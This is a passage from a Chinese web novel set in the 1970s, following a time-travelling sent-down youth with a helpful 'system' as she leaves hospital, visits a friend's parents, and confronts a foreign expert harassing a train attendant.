阮玲玲眨眼，一脸不解。 程十一从自己枕头旁边放着的挎包里拿出了纸笔，唰唰唰的写了几个字。 等到阮玲玲看清纸张上的内容后眼睛嗖得瞪得溜圆。 纸上面写着“有监听”。 阮玲玲赶紧捂住自己的嘴，一双眼睛四处乱瞄，感觉哪里都像是藏了监听设备的样子。 这还是程十一昨天晚上无聊的时候让系统扫描才发现的。 发现的第一时间，程十一是愤怒的，但很快又变得释然。 她身上的嫌疑还没有完全洗干净，毕竟王家的问题很严重。 所以她刚刚虽然和阮小舅打了招呼，却没有细说。 就算阮小舅刚刚想要细说，她也是会阻止的。 “玲玲，过几天我的伤好了就要回去了，到时候我采山货后给你邮过来。” 程十一的声音响起，带着笑意：“你把详细的地址留给我，我之前只知道一个大概的地址，具体的说不上来，本来想给写信都写不了。” “行，行。” 阮玲玲明显没有刚刚那么活泼了，但随着她写下地址后，她也调整过来了，两个人又很快叽叽喳喳的聊了起来。 这次聊的都是程十一下乡的生活。 从上工下工，到上山砍柴，日子不能说有多清闲，但从程十一的语气里却能听得出来她是很享受在乡下的生活的。 阮玲玲很心疼，但也没说别的什么。 阮小舅回来的时候到底带了两根奶油冰棍，程十一吃完后就钻进了被窝。 不行，太凉了。 俩人没坐多会儿就走了，程十一也漱了口，躺在床上看着天花板出神。 不知不觉得睡着，还是被顾青给叫醒的。 顾青将行李带过来了，同时带过来的还有些山货。 这些山货是要给陈丽娇家送过去的，可自己还没腾出时间来。 找了个护士询问了下路程，结果发现陈家住得里火车站不远，当即决定给顾青送行！ “不用你送，你好好在病房里养伤吧！” 顾青一想到这丫头昨天受伤了还出去给自己弄礼物，他这心里就很是过意不去，现在哪里还舍得让她再为自己送站啊！ 可程十一却摇头，态度坚决：“不，我还是送站吧！你这一路来对我照顾颇多，怎么说我也要表示一下的。而且外面天都放晴了，我出去走走也没事，最多就是走慢点。” 此时此刻，程十一有点后悔让顾青将自己的行李带过来了。 早知道陈丽娇家距离火车站不远，那就自己过去取行李，顺便送山货到陈家多好！ 现在好了，还得折腾一趟。 第176章 娇娇姐姐的妈妈 程十一态度坚决，顾青只好点头答应。 考虑到程十一的脚受伤了，不能走太快，俩人决定提前出发。 结果等到出发时，看到程十一手里提着的麻袋后，顾青陷入了沉默之中。 “你这个，不会也是给我准备的吧？” 顾青问。 程十一看看了自己手里的麻袋，摇摇头：“不是啊！这个是给娇娇姐家送过去的，她家就在火车站旁边，我先送你上车，然后给她家送过去。” 顾青：…… 这顺序听起来似乎是自己优先，但为什么他总有一种自己是附带的那个的感觉呢？ 程十一说完后也察觉到不对劲了，赶忙岔开话题：“好了好了，咱们快点出发吧！对了，你这一路上要坐多久的车啊？” 顾青复杂的看了一眼程十一，然后默默的将她手里的麻袋接了过来。 对于对方找的新话题，他没搭理。 新话题只会让他更加确定给自己送站才是附赠的那个。 程十一看着走在前面的高大身影，心虚的吐了吐舌头。 一路上两个人都没有多说什么，一直到了火车站的公交站点，两个人一前一后下了车。 “谢谢啊！” 程十一谢过对方伸手搀扶自己的举动：“走吧！先送你进站。” “不用，你这东西要送哪里，我送你过去。” 顾青见程十一将抓着自己手腕的手收回去了，确定对方不会摔倒，这才放下胳膊。 程十一看了下时间，距离出发还有两个小时，一来一回的倒也够用，也就不拒绝了。 虽说是在这里长大的人，可程十一和顾青差不多，对于这个城市基本上都是两眼一抹黑的程度，只能一路打听询问，终于来到了陈丽娇家。 家里没人，不过听邻居说快到下班时间了，索性俩人就在楼下的大树周围的花坛上坐着等。 一个瘦弱，但长得还不错的女同志，一个身穿军装的男同志，俩人坐在一起，中间虽说也有些距离，可一看俩人时不时说上几句话的样子就知道他们是一起的。 尤其是顾青那一身军装格外的惹眼，来来往往的不少人，只要路过了都会朝着这边看一眼。 程十一倒是没什么感觉，可顾青就感觉不是很好了。 “怎么了？” 程十一看着突然站起来的男人：“要到时间了吗？” “没有。” 顾青整理了下自己的衣服：“应该是到下班时间了。” 驴唇不对马嘴的回答。 程十一抓了抓下巴，感觉有点莫名其妙。 下班了也不可能现在就去敲门啊，主要是她也不认识陈丽娇的家里人。 不过人家都起来了，那自己也跟着起来吧！ 谁知这一起来，才感觉腿麻了，身体一歪，朝着地面就扑了过去。 顾青眼疾手快，一把抓住了程十一的胳膊，避免了程十一摔倒的结局。 可这突如其来的动作也把路过的人吓了一跳，当即就有人说话不太好听起来。 在这个就算是夫妻走在马路上也不能走得太近的年代，俩人在大庭广众之下拉拉扯扯，这显然是犯了大忌。 “你们眼睛都有毛病吧！没看到我差点摔倒？” 程十一的小暴脾气忍不了了，当即怒怼众人：“人家军人同志看我摔倒了不来帮忙扶一把，难道就这么眼睁睁的看着我摔成个狗啃泥？我说你们这些人可真有意思，心里脏，真是看什么都是脏的。” 声音清脆，嗓门不小，还真一下子盖过了大部分人的声音。 “我说你这个女同志怎么说话呢？你们当众拉拉扯扯还有理了是不是？” 有个大妈不乐意了，当即就扯着嗓子叫嚣起来。 程十一刚要怼过去，就听一个温柔，却颇有力量的女人声音响起：“人家小同志的脚受伤了，本来就行动不方便，别说是军人同志帮忙没有问题，就算是其他人见了，该搭把手也是要搭把手的。” 众人一听这个声音，竟然下意识的让出来了一条路。 只见一个身穿灰色列宁装的女人走了进来。 女人瞧着也就三十来岁的样子，头发被很整齐的盘在了脑后。 只一眼，程十一就觉得这人有点眼熟，好像在哪里见过，但一时间又想不起来到底是在哪里见过。 不过被她这么一提醒，大家也都注意到了程十一的一只脚并不是好好的穿着布鞋，而是趿拉着布鞋，露出来的也不是袜子，而是绷带。 这下大家都沉默了。 就连刚刚最大声指责程十一的大妈也都闭了嘴。 好吧，人家小同志受伤了，有人搭把手帮个忙确实不算什么。 就在此时，一个老太太突然对着站出来说话的女人说道：“刘主任，你回来了可太好了，这两个同志是来找你家的。” 被叫刘主任的女人下意识的看向程十一，又看向顾青，眉头微微皱了皱，第一个反应就是又是来他们家攀关系的人。 程十一眨眨眼。 那个老太太是之前给他们俩指路的人，所以，眼前这个气质女同志就是…… “阿姨，你是娇娇姐姐的妈妈？” 程十一双眼亮晶晶的看着陈薇。 陈薇惊讶，随即想到什么：“你是十一？” “嗯嗯，我是十一！” 程十一一听哪里还有不明白的，肯定是她那美丽可爱的娇娇姐姐给家里写信或者发电报提到自己了。 陈薇脸上的不悦瞬间消失不见，走上前一把挽住了程十一的胳膊：“娇娇写信回来可是特意提了你。你怎么过来了？走走，快进屋，阿姨给你做好吃的！” 程十一嘿嘿笑着应着话，没说自己是回来弄拖拉机的，只说是回来省亲。 陈薇感觉有些奇怪。 自家女儿说这个程十一是和她一起下乡的知青，这才多长时间怎么就能回来省亲了？ 不过她聪明的没有多问。 顾青背着自己的行李，手里提着麻袋，看着相携离开的两个身影，心情那叫一个复杂。 得，不用想了，也不用怀疑了，什么给他送站，那绝对是附赠的，人家出来这一趟的真正目的是去陈家送东西。 第177章 你俩不是对象？谁信啊 咋办？ 跟上呗！ 要不还能放下东西转身就走啊！ 顾青拎着麻袋跟着前面俩人走，距离不算近，但也没有很远。 再次来到陈家门口，陈薇拿出钥匙，一边开门还在一边和程十一聊天。 程十一也没客气，直接进了屋，随后陈薇进来，头也没回的直接将门关上。 刚刚来到门口的顾青：…… 看着关上的房门，听着门里面传来程十一笑嘻嘻的声音，顾青直接被气笑了。 好一个没良心的小混蛋！ 自己就不该跟上来！ 深吸一口气，顾青抬手敲门。 只听陈薇没好气的责备声响起：“这个老陈，肯定又没带钥匙。一天天的，要不是我回来得早，他非得蹲门口一直等着不可！” 话音落，门也开了。 陈薇满是努力的脸在看到门外的高大身影后瞬间一僵：“同，同志，你找谁？” 顾青面无表情，但语气还算客气：“我是帮程十一同志送东西过来的。” 屋里刚在沙发里坐下的程十一嗖的一下就跳了起来，因为反应太快，起来的动作太迅速，受伤的脚吃了下力，疼得她一个龇牙咧嘴，又重新跌坐回沙发里。 也多亏了陈家的沙发是宣软的那种，但凡是个木头沙发，估计这会儿她的尾巴根都得裂了。 “小心！” 顾青一眼就看到了程十一的反应，也看到了小丫头那一脸的痛苦表情，当即将手里的麻袋塞到陈薇怀里，人则是大步冲进去。 “你怎么样？” 顾青单膝跪地在沙发前，不由分说的抓起程十一的脚腕，脱了鞋就检查伤口。 程十一只感觉自己的的脚腕被牢牢抓着，挣扎了两下都没挣扎开，赶紧解释：“我，我没事，你先放开我，我真没事。” 顾青才不管她是怎么说的，仔细查看了下，就差没把纱布拆开了，确定没有再流血，这才小心的将人家的脚放下：“鞋先别穿了，这一路走过来肯定是累着了，你先好好休息，等下我送你回医院。” “不用啊！” 程十一连忙摆手：“你送我我送你的，咱俩这一天不用干别的，全都交代在路上了。” 此时陈薇也走了过来，麻袋已经被她放在了一旁的桌子上，这会儿人正担忧的看着程十一的脚：“这是怎么弄的？” “被碎片割了个口子，问题不大。” 程十一不想陈薇多问，主要是这个自己也没办法实话实说，就对顾青说道：“你的车是几点来着？我现在送你去车站吧！” 顾青幽怨的看了一眼程十一，没好气的说道：“就你这样的还送我？行了，你多歇会儿吧！我现在去火车站了。” 他也确实是该去车站了，再耽误下去怕是就会错过火车。 程十一挣扎着要站起来，却被陈薇阻止：“你这孩子，都受伤了还乱动什么？你坐着吧，我送你对象下楼。” 此话一出，一个挣扎的动作僵住，一个起身的动作僵住，两个人都是一脸错愕震惊的看着陈薇。 陈薇还没感觉到不对劲，就听没有声音了，这才回头看，直接看到这俩人都在盯着自己，盯得陈薇头皮都有些发麻。 “你俩怎么这么看着我？有哪里不对劲吗？” 陈薇下意识的扭头就想去看自己的后背，只是有点费劲，就只能伸手去抹平身后的衣服，想着是不是自己的衣服出了问题。 程十一回神，连忙摆手：“阿姨，不是，我俩不是对象。” “不是对象？” 陈薇惊讶，视线在眼前这两个年轻人来回看了两遍，这才翻了个白眼：“真当你阿姨我的眼神不好使呢？” 这就是明摆着不相信俩人不是对象关系了。 程十一哭笑不得，而顾青则是脸已经红透了，哪怕他的皮肤已经被晒成了小麦色，依旧无法遮挡那透出来的红。 “我，我和小程知青真，真不是对象关系。” 顾青说话都变得结结巴巴，甚至都没有勇气去看沙发上的女孩儿：“我，我还要赶火车，就先走了，阿姨再见！” 随着程十一的叫法，顾青也叫了陈薇阿姨。 陈薇还想说什么，可嘴巴张了张，到底是没说出来。 她是真觉得这俩年轻人之间的关系不一般，但既然俩人都否认了，那她也不好再多说什么。 这时代，无论是男孩儿女孩儿，那名声都坏不得半分，否则后果可就不可预估了。 陈薇送顾青出了家门，就站在家门看着那抹高大的身影消失在楼梯口，这才回家关门。 门刚关上，女孩儿清脆的笑声陡然响起，着实把陈薇吓了一跳。 回头看去，就见程十一已经趴在沙发上笑得开怀。 陈薇无奈，走上前，轻轻拍了拍程十一的肩膀：“你这傻丫头笑什么呢？” “哈哈哈，阿姨，你看到了吗？刚刚顾同志的脸都红成猴屁股了，哈哈哈哈，太好笑了！” 程十一笑得不行，一想到刚刚看到的画面，程十一就更想笑了。 陈薇也回忆了下那小伙子的反应，一个没忍住，噗嗤一声也笑了出来。 不过俩人也没笑很久，陈薇就去做午饭。 程十一也没客套的说不留下来吃饭之类的话，反而趁着陈薇去厨房做饭的功夫，从自己的挎包里拿出了一瓶茅台和一条黄金叶，另外还拿了两瓶在京都百货大楼买的雪花膏。 这些都是给陈家父母买的礼物。 将东西放在茶几上后，程十一就一瘸一拐的去了厨房。 别的干不了，帮忙打打下手，洗洗菜，摘摘菜还是没问题的。 俩人就一边聊天一边忙活，气氛十分和谐，完全看不出俩人今天是第一次认识。 等到陈爸爸回来后，两口子这才发现了茶几上的东西，自然又是一番让来让去，但最后还是收下了。 得知了程十一还要住两天院，陈薇当即表示要准备些东西，想请程十一帮忙带回去。 对此程十一自然是不会拒绝。 吃完饭，程十一是坐着陈爸爸的自行车回的医院，然后一瘸一拐的回到自己的病房，一推开门，就看到里面的沙发里正坐着个老熟人。 第178章 秦爱民傻眼了 “哟，大忙人回来了。” 秦爱民听见开门声，报纸都没放下，就扫了一眼，见来人是程十一，这才放下报纸，阴阳怪气的说了这么一句。 看着秦爱民的鼻梁上架着个眼镜，看自己的时候还用眼镜上面看自己，那感觉就挺搞笑的。 “我说领导，你这一天天的是太闲了，没工作，所以没事就往我这里跑吗？” 程十一放下自己的挎包，脱掉外面的袄子，又转头去洗手，这才回到床上。 外裤也脱掉了，只穿了棉裤。 出去这一趟又回到床上，还别说，有点想躺着。 秦爱民被这小丫头的说得直接气笑了：“你这丫头，你受伤了不知道好好养伤，还天天的往外跑，你是生怕别人不知道你是用着组织上的资源来享福的啊？” “我可没享福啊！” 程十一抬了抬自己受伤的脚：“我这是真受伤了，至于为什么要出去，那也都是有事情要忙。” “忙？你能忙什么？” 秦爱民气得直哼哼：“跟着男同志出去逛街？我说你和顾青那小子到底是怎么回事？你俩是不是处对象了？” 好家伙！ 真是好家伙！ 这还没两个小时时间吧，怎么又有人怀疑自己和顾青是对象关系了？ 程十一坐了起来，还不忘用把枕头立起来垫在腰间，这才指着自己的鼻子问秦爱民：“领导，你看我今年像多大？” “你今年十六。” 秦爱民脱口就答。 这些信息他早就掌握了，根本不会出错。 程十一翻白眼：“我的年龄是十六没有错，但是你看看我现在的模样，看起来像是有十六岁吗？” 秦爱民打量了下程十一，突然就有点接不下去这话了。 好吧，这丫头看起来也就十三四岁的样子，还真不像是个大姑娘。 “说啊，咋不说了？” 程十一的白眼快要翻到天上去了：“再说了，我也才十六岁，咱们国家要求的最低结婚年龄，女的至少得十八岁吧！你确定要让顾青同志和我谈两年的对象？” 秦爱民：…… 是他大意了。 眼看着那嘴又要叭叭，秦爱民赶紧岔开话题：“咳咳，那什么，我这会儿过来找你是想问问你想要哪天回去，我好安排人给你买车票。” 程十一的注意力瞬间被转移，双眼放光的盯着秦爱民：“是卧铺吗？” 秦爱民哭笑不得：“你这小同志还真是一点苦都不肯吃啊！” “谁说的！” 程十一哼了哼：“我这人不是不能吃苦，但就是不想没苦硬吃。再说了，我回去可是一个人坐车，我还腿脚不方便，真要坐硬座，我怕还没等到地方，我脚上的伤就会复发。” 如果不是知道这丫头的伤势如何，秦爱民觉得自己可能真的会被她的话给唬住。 “行了行了，你这歪理可真够多的。放心吧，卧铺，还是软卧，给你安排个下铺。” 秦爱民也不和她计较那么多了。 以他的资格，再加上这次程十一的功劳，买一张软卧倒是够用了。 至于车票钱，组织出一部分，他个人贴补一部分。 程十一这丫头下乡一段时间，变化不小，但从目前所掌握的消息来看，这姑娘还是个好的。 如今古灵精怪的，倒是让人看着就喜欢。 再加上顾青的原因，秦爱民现在看程十一就跟看自家闺女差不多了，那真是越看越稀罕，真是比臭小子强了不知多少倍。 程十一是怎么都没想到自己竟然有资格坐软卧，眼睛里的光都快能和太阳肩并肩了，说出来的好听话就跟不要钱似的，哄得秦爱民哈哈大笑，半下午才离开病房。 等出了医院，秦爱民这才后知后觉的反应过来自己又被那丫头给哄了。 自己说的软卧是这里到京都，至于京都到黑省，那只能是硬卧，可刚刚自己被哄得开心，直接就承诺了从京都到黑省也是软卧。 我滴个妈呀，这可咋办？ 站在医院大门口，回头看着住院部，秦爱民差点没把自己的头皮抓破。 完犊子了，这次肯定得求一求那些个老家伙，估摸着自己到时候肯定会被念叨。 算了算了，要怪只能怪自己耳根子太软了，竟然被那丫头给哄住了。 秦爱民离开后，程十一往被窝里一钻，都没看连环画，没多会儿便沉沉睡去。 这一觉并没有睡多久就被查房的护士惊醒。 伤口恢复得很快，照这么下去，用不上两天时间就能结痂。 程十一也不往外跑了，主要是现在自己也没什么东西可卖，除非自己能另外找到个销路才行。 但自己现在还处于被监视的状态，真要去另外找销路，风险系数绝对不是一般的高。 今天没抽幸运值，但程十一不用想都知道肯定不会再是欧皇体质，所以就不去冒险了。 老老实实的在医院里又住了两天，眼看着明天就到了出院的日子，同时也是自己回黑省的时间。 这天半下午，陈薇夫妻俩来了。 陈爸爸一手提着个麻袋，里面装了半下东西，瞧着似乎并不怎么沉。 程十一刚啃完一个苹果，才洗了手准备回床上看书，就见这俩人来了，赶忙又坐了起来。 俩人是来看程十一的伤情的，同时也是来送东西的。 “十一，东西有点多，你要是带不走，那阿姨就邮寄回去，回头你和娇娇说一声就行。” 陈薇脸上都是抱歉。 她也没想到都已经缩减了那么多了，竟然还能装出两个麻袋来。 其实是一个麻袋，不过一个麻袋的话份量太重不说，体积也不小。 可两个麻袋的份量也不轻啊，她心里已经打定主意等下就带走，送去邮局邮走了。 程十一下了床，一手提起一个麻袋掂了掂。 看着不沉，实际上……嗯，有点份量，但可以接受。 “不用邮寄，我能带回去。” 程十一指了指墙角立着的藤条箱子：“阿姨，帮忙把东西放箱子里，我提一个箱子，一个麻袋就成。京都那边有人接站，还有人送我上火车，回头我给娇娇姐发个电报，让她去火车站接我就可以了。” 第179章 七十年的旅游包 曾经满满当当的一个箱子，如今已经空荡荡的只剩下了两个饭盒和两个空了的罐头瓶子。 陈薇一看这里面一件衣服都没有，很是诧异：“十一，你的衣服都放哪里了？” 程十一抓了抓下巴：“都洗了，正晾着呢！估摸着晚上就能干。” “啊，行，那我把放衣服的地方留出来。” 陈薇一边说一边忙活，很快就给箱子里留出了一半的空间，剩下的另外一半码放着包装得整整齐齐，还用绳子捆绑结实的油纸包。 长的、扁的、方的，甚至还有圆的。 按照陈薇说的，这些油纸包里面放着的都是陈丽娇最喜欢吃的肉干、零食之类的东西。 程十一听得乐呵，但也就是一个乐呵而已。 “另外一个袋子里面是一些衣服。我听说黑省那边冬天特别的冷，那也不知道之前给她邮寄过去的棉衣棉裤够不够厚。” 陈薇将没能装进箱子里的其他东西重新往另外一个麻袋里面塞：“也给你准备了一套袄子和裤子。两身加起来太厚，我就让你叔给压扁了，回头你们俩重新拍打拍打，把里面拍打松一些就好了。” 听着陈薇的絮絮叨叨，程十一突然就有点想哭。 这种感觉可真的好暖心啊！ 要是陈阿姨也是自己的妈妈就好了，唉……原主是个小可怜儿，她又何尝不是呢？ 陈薇也没注意到程十一的异常，而陈爸爸则是出去买东西，病房里也没第三个人在。 程十一感觉自己的脸颊有点凉凉的，抬手一抹，竟然是眼泪。 唉，果然太安逸的日子就容易让人变得多愁善感。 赶紧擦了眼泪，程十一做了个深呼吸，调整好了自己的状态。 陈爸爸买回来了一些吃的，有罐头，也有炉果之类的能存放时间长一些的点心饼干。 其中让程十一最为震惊的是，她竟然看到了方便面！ 油纸包装，封面是红色为主，中间有只金色老母鸡，旁边还有两个鸡蛋和一个碗。 封面上写着“鸡蛋方便面”五个字，最下面则是一行生产厂家。 程十一倒是听说过七十年代国内就有方便面了，但那还是特别金贵的玩意儿，没点门路都弄不到的东西。 没想到陈爸爸竟然弄来了，而且还一下子就弄来了四包！ “这种方便面说是用热水泡泡就能吃，我也没吃过，不过想着你们年轻人应该愿意尝试尝试。这四包你带着路上吃，如果不好吃那你就买盒饭吃，或者吃点点心吧！” 陈爸爸笑起来有些憨厚，不过程十一总感觉这人在外面肯定不是这种状态。 “谢谢叔叔！” 程十一没有客气，大大方方的接了下来。 陈爸爸又打开了个布袋子，从里面拿出了绿色的帆布包，上面带着京都的字样。 “这个包是家里以前用的，虽然不是新的，但挺结实。十一啊，你就背着这个包，也能多带些东西。” 陈爸爸说着就将包撑开。 是个双肩包，上面还有“旅游”两个字。 程十一看得眼睛都瞪圆了。 好家伙，七十年的旅游包啊，这可不是一般人家能拿得出来的。 陈家的条件在家属院不算顶好，住的还是筒子楼，但没想到陈家能拿出来的东西却是如此的…… “叔叔，这个包我先背着，等到地方了，我就把包交给娇娇姐。” 程十一可不会觉得人家这包是多出来不重要的东西，吃吃喝喝的，她收就收了，但像是这样的旅游包，她可没那么大的脸。 再说了，既然看到了实物，回头让系统在商城里给自己挑选两款也不是不行。 之前是没想到这个时代还有登山包，还以为最多都是顾青背的那种行李包呢！ 陈爸爸笑笑没说话。 有了这么一个双肩包，能装的东西一下子就变多了不少。 程十一的挎包是肯定要带着的，拿东西方便。 双肩包里放着陈爸爸给买的吃的，再放上饭盒和搪瓷缸子，零零碎碎的就是一背包。 程十一将自己晾干的衣服也拿回来了。 和陈薇预料的不同，程十一的衣服并不多，别说是箱子一半的空间了，竟然连四分之一都没用上。 程十一笑着说道：“厚实的衣服都在我身上穿着呢！” “也是，这会儿那边肯定都冷了，多穿点，别冻着。” 陈薇也不震惊了，又将麻袋里的东西挑拣了些放在箱子里。 不多时，程十一的行李件数就变成了四个。 陈家父母并没有留下来吃晚饭，他们本来想请程十一吃饭，谁知快到晚饭时，秦爱民来了，和他一起的还有两个很眼熟的人。 一个是去老王家的司机，还有一个就是妇产科那个神经病男人找事，过来调查情况的工作人员。 四个人也算是熟悉了，陈家父母一看，便提出了告辞。 秦爱民自掏腰包请程十一去了国营饭店，点了四菜一汤不说，还特意点了两盘饺子。 说是上车饺子。 一顿饭，也算得上是宾主尽欢。 当然，大家基本上都在忙着吃饭，很少聊天。 吃完饭回到医院时天还没黑。 程十一简单的洗漱了下就早早睡下。 车是半夜的，晚上会有人来接她离开。 半夜，程十一被系统喊醒，刚穿好衣服，就听见了敲门声。 来人是一起吃饭的那两个人，秦爱民倒是没过来，但却让人带来了一兜橘子。 “部长说了，这是给你准备在车上没事的时候吃着玩的。” 说话的是司机大哥。 程十一道了谢，将装橘子的网兜直接系在了挎包的袋子上。 没办法，所有的包全都满了，也不可能现在重新装一遍。 这俩人一直将程十一送到卧铺，帮着她将行李安置妥当，这才下车离开。 卧铺车厢的客人少，等到了软卧，那人就更少了。 程十一甚至都没听见呼噜声，就好像整节车厢就只有她一个人。 她也不在意，洗了把脸就回到自己的铺位休息。 不得不说，软卧的环境就是好。 上下只有两个铺位，那空间是真的宽敞。 私密性更好了，程十一也睡 得更踏实。 第180章 怒怼金发男 本以为到京都的这段路程应该是很安静的过去的，毕竟这里是软卧席，管理得要比硬卧更加严格。 而能买到软卧的人，身份地位都绝非一般，像是她这种的，那完全是臭不要脸的占了秦爱民的便宜而已。 这些人的素质应该都不差，至少不会出现大吵大闹的情况。 程十一是带着这样的想法入睡的，却是被一阵闹哄哄的争吵声叫醒的。 虽说是软卧，但隔音效果却没有后世的软卧那么好。 再加上吵闹的人嗓门不小，听着好像就离自己所在的铺位不远，所以那个烦人程度就不是一般的高。 程十一下意识的想蒙住脑袋继续睡，突然想到这不是自己的被子，果断放弃了这个想法。 也就是这么一耽搁的功夫，她听见了那些争吵声里有国语，也有叽里呱啦的鸟语。 有外国人？ 程十一内心角落里的好奇因子难得的活跃了下。 在后世，外国人并非什么稀罕玩意儿，但在当下这个时代，能看到金发碧眼的外国人那绝对是件稀罕事儿。 门一打开，噪音更大了，同时也让程十一更加清楚的听清了那些人在争吵什么。 一个外国男人正在指责乘务员没有将他房间里的地面清理干净。 乘务员不懂英语，倒是有翻译，可是看着翻译那急得一张脸都红透了的样子，估摸着也是……半吊子吧！ 不过能在这样的时代背景下做翻译，这位同志还是挺有本事的。 程十一本来就只是想听个热闹，可是听着听着，她的脸色就沉了下去。 麻蛋的，那个外国佬竟然开始人身攻击了！ 说话那叫一个难听，什么奴隶，什么伺候人都是应该的，甚至还提出了陪他睡一觉的要求。 翻译这会儿也不知道是翻译的本事不够，急得，还是被对方的话气得，现在整个人都在明显的哆嗦。 乘务员听不懂对方说什么，可是对方那明显不怀好意思的眼神她看出来了，这会儿已经被气哭，被男乘务员拉到了身后。 外国人的身材很高大，看着得有一米九十多，在车厢里显得格外扎眼。 一头金色头发，一双棕色的眼睛。 “斯利普个你奶奶个爪！” 程十一听不下去了。 她的爱国心不多，但不代表没有，尤其听着那人已经上升到鄙视这个国家的程度了，她要是还能忍下去，那她就不配为人。 突然的一嗓子让整个走廊瞬间安静下来，所有人都朝着声音的来源看去。 就见一个穿着一身蓝色毛衣毛裤的女孩儿从不远处走过来。 应该是刚睡醒，脸上虽然带着怒气，但那一脑袋的头发乱糟糟的，尤其是有一撮呆毛矗立其中，随着她走路的动作而晃悠。 “你是什么人？和你有什么关系？” 说话的是那个高大的外国人，此时正皱眉看着走过来的女孩儿。 太瘦弱了，脸蛋虽然看着还不错，但身体不行，根本受不了他，让他无法产生任何想法。 程十一张嘴就是一口英语。 不能说是什么标准的这个腔那个腔，但日常对话，尤其是骂人，那可是绝对的没问题。 想她上辈子的末世前，鸟语已经很普及了，就算是七八十岁的老头儿老太太都能整上几句。 而她当初从大学毕业，那也是真真正正的考过级的，虽然现在忘得差不多了，但不影响口语啊！ 后来当牛马，那也是接待过外宾，哪怕是少不了用一些翻译软件，但用的多了，说的多了，见的多了，自然也就留下了印象。 再加上网络游戏盛行，尤其是那种可以全球联网的，别说是用这一种鸟语骂人，就算是再来几种不同的语言，她都能怼上几句。 “老娘是谁关你屁事！” 程十一张嘴就是暴击：“你个连毛都没退化干净的野蛮人，从见过到现在的历史还没有我们国家随便一个朝代的年限长。你们那个国家喊老娘的祖国一声老祖宗都是让你们占了便宜了，现在居然还敢在这里叫嚣着要欺负我们的人？真是给你脸了！” 程十一的语速很快。 在场的人本来就没几个听得懂外语的，翻译倒是能听懂，可他也听不懂这么快的啊！一下子就傻眼了。 不是，这是哪个部门的同志啊，这口语也太流利了吧！ 就是个别的单词他怎么从来都没听过？难不成是因为夹杂了方言的关系？ 外国男人没想到这个长得这么小的女人说话竟然这么利索，气得他指着程十一，对翻译说道：“这个人对我进行人格侮辱，我要惩罚她！你们必须给我一个交代！” 这次翻译听懂了。 也不是对方的语速有多慢，而是这个人自打落地之后就没少说这样的话，一天不说上三遍五遍的，那都算他今天没开过口。 听得多了，自然也就很容易听明白了。 翻译这次一点都不想给这人半点好脸色了，甚至连解释都懒得解释。 程十一已经来到了人群跟前，一把将被拽到男同事身后的女乘务员拉到自己身边，在她耳边翻译了下那个外国男人刚刚的话。 女乘务员越听脸越红，越听越愤怒。 她没有看错，那个外国人看自己的眼神果然一点都不干净。 “别怕，今天我给你出头！” 程十一轻轻捏了捏对方的手，随即大声说道：“还不赶紧去联系你们领导，傻站在这里是要当门神吗？” 说着，还给对方使了个眼色。 女乘务员已经快哭出来了，不过现在她也明白自己该做什么，转身就跑。 外国人一看自己看上的人跑了，气得不行，又是吱哇乱叫的一顿咆哮。 然而还不等一旁的翻译将咆哮听完，就被眼前的景象吓得瞪大了眼睛。 只听见啪的一声脆响，那高大的身影直接倒退了两步，跌坐在了软卧铺位中间的地板上，发出了嘭的一声响。 而将人扇倒的人则是重新落地站稳。 啧，身高还是不太够啊！打人都得跳起来才行，麻蛋的，回去她就熬骨头汤，啃骨头，吃钙片，就不相信这个头不能再窜一窜！ 第181章 火车上遇熟人 身高不够的程十一并没有为自己的这个缺陷遗憾太久，因为她发现她的力气变大了不少。 原主王二丫从小就干活，虽然长得瘦弱，但本身就有些力气。 自打程十一来到这里后，在吃的上面几乎就没怎么苛待过自己，身高没长多少，身上也没多长多少肉，但这力气却是明显的增加了。 嗯，这样好像也行。 围观众人已经全都傻眼了，他们怎么也没想到这个长得瘦瘦小小的女同志竟然这么猛，跳起来打人不说，还把那高高大大的外国人给扇趴下了。 “哦卖糕的！” 一直坐在一侧下铺的另外一个外国男人一声大叫，呼喊着医生之类的话。 翻译也终于反应过来了，连忙对一旁的乘务员说道：“有没有医生？快过来给外宾检查一下。” 又对程十一说道：“你赶紧离开这里，让他们给你换个车厢，千万别被他们找到。” 程十一很惊讶：“你不怕我跑了以后他们找不到人会埋怨你？” 翻译摇头：“埋怨就埋怨，在咱们国家的土地上，他们也欺负不了我。放心吧，倒是你，一个小姑娘还是别被他们惦记上比较好。” 说着还拍了拍程十一的肩膀：“快走吧！” “没事，我不走，我就在这里。” 程十一抱胸靠在一侧的车厢上：“你有句话说对了，这是咱们国家的土地，在这里咱们还能让外国人欺负了去？再说了，他无论是文斗还是武斗，他们都不是我的对手。” 顿了顿，程十一突然想到什么，问：“对了，他们到底是什么人啊？” 这个时候能来到这个国家的外国人，基本上都是有些本事和能耐的。 程十一是真不怕他们，但她怕会影响到她的祖国。 翻译本来还想劝程十一赶紧走的，一听这问题也顾不上了，叹了口气，道：“是一些专家，咱们国家从他们国家买了几套机器，他们就是跟着机器过来的指导专家。” 程十一：…… 她好像大概可能真的闯祸了。 意识到这一点，程十一的语气弱了几分，试探询问：“是什么方面的机器？民生的还是军工的？” “你在想什么？” 翻译用一种十分不理解的眼神看着程十一：“军工方面的他们怎么可能会轻易的卖给咱们？是一些机械方面的机床，做汽车用的。” “民生方面的啊！” 程十一松了口气，随即很是无所谓的摆摆手：“那不用他们也没什么，不过就是机械类的问题，我应该也能会一些。” 顿了顿，程十一解释了句：“我之前在的养父母两口子都在机械厂上班，家里有相关的书籍，我从小就看的。” 这话是真的，但也不完全是真的。 书是真的有，但原主王二丫却压根没机会去看，主要是看了也看不懂。 至于程十一为什么敢这么说，自然是因为她有系统在，就算是临时拆一个同款机床，一点点的做对比重新拼起来，最多就是多用一些时间而已。 外国佬被揍了，心里肯定是有怨气的，程十一可不想自己的国家被这种垃圾人拿捏。 所以，这个头，她出了。 只可惜她的言之凿凿并没有换来翻译的相信，反而还让他更加无语了。 这个小同志到底是从哪里蹦跶出来的啊，怎么就这么没深沉呢？ 正在翻译想着要怎么将这个心大的小同志劝走时，一侧的过道尽头传来一阵凌乱的脚步声，还有一个中年男人的怒吼声：“到底是怎么回事？不是说了这次的客人很重要，千万不要得罪吗？翻译呢？翻译怎么不办事？人马上就要到京都了，只要送上飞机咱们就没什么事了，怎么偏偏在这种时候出问题？” 这话让翻译的脸色变得很难看。 程十一注意到了这个变化，就问：“那人谁啊？” “花市第一机械厂厂长。” 翻译的声音不大，也就只能让程十一听见而已。 程十一挑挑眉。 好家伙，居然是厂长亲自送人啊！ 不对！ 程十一眉心突然一跳：“你说他是哪个市的第一机械厂厂长？” 